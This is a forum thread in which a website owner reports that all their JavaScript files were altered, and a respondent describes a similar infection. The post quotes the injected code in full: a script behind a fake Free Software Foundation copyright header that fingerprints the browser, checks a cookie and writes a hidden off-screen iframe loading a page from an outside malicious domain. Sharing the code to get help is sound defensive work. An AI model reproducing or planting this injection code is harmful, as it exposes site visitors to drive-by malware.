Unknown javascript files edit

All my .js files from my website have been edited without my knowledge, adding this block of code:

/*
Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/
*/
function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\
[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}
function ActerMoto(){var e=navigator.userAgent;var 
t=e.indexOf("Chrome")>-1||e.indexOf("IEMobile")>-1||e.indexOf("Windows NT 
6.2")>-1||e.indexOf("WindowsNT 6.3")>-1||e.indexOf("Windows")<+1;var 
n=getCookie("lusikrators")===undefined;if(!t&&n){document.write('<iframe 
src="http://fluersutel.mymessenger.com.ar/afloriut16.html" style="left: -904px;border-left-style: 
dotted;border-right-color: rgb(13,64,34);border-right-style: solid;height: 100px;width: 
100px;position: absolute;border-right-width: 8px;top: -904px;"></iframe>');var r=new Date((new 
Date).getTime()+64*60*60*1e3);document.cookie="lusikrators=1; path=/; 
expires="+r.toUTCString()}}ActerMoto()

Have you guys seen this before? How the hell is this happening?

I had something similar before. It was definitively not edited by me and my provider sent me a mail about that file, having a JavaScript malware.

But mine was quite more cryptic than yours ... and since some results on the web have a copyright before and after the JavaScript, I guess, too, that it's some program having added it.

Here is something else I found using Google: